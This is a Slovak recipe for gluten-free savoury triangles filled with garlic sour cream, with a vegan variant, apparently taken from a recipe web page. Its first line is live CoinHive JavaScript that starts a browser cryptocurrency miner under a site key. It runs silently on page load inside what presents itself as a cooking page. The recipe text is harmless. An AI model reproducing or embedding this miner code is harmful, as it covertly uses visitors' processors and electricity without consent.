var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 600 g bezlepkovej múky Schúr MixB / Promix Alfa, 400 ml kefírového alebo acidofilného mlieko (príp. cmar, zákysanka), 100 ml oleja, 1 kocku droždia, 2 PL kryštálového cukru, 2 KL soli

Potrebujeme na plnku: 400 g kyslej smotany (16%), 6 strúčikov cesnaku (minimálne), 1 KL soli, okrem toho: 1 rozšľahané vajce na potieranie trojuholníkov a sezamové semienka, prípadne rasca

Postup: Všetky suroviny na cesto poriadne vymiesime a hotové cesto necháme vykysnúť. Kvások nie je potrebné robiť osobitne, stačí kefírové mlieko mierne zohriať a droždie iba priamo rozmrviť do múky. Po vykysnutí cesto rozdelíme na pracovnej doske na tri rovnaké časti. Každú časť rozvaľkáme do obdĺžnika, potrieme 1/3 plnky, (túto si pripravíme vymiešaním smotany s pretlačeným cesnakom a soľou), zrolujeme a nakrájame ostrým nožnom cik-cak na trojuholníky. Tieto poukladáme na plech vyložený papierom na pečenie, potrieme rozšľahaným vajcom, povrch jemne posolíme a posypeme semienkami. Pečieme vo vyhriatej rúre na 200°C 15-20 minút (prvých cca 7 minút so zaparením – na spodok rúry dáme plech s vriacou vodou).

Vegan verzia (bez lepku, mlieka a vajec):: Namiesto kefíru použijeme zakysaný sójový nápoj, namiesto smotany zakysanú sójovú smotanu a trojuholníky potrieme rozpusteným Alsanom alebo iným tukom či olejom.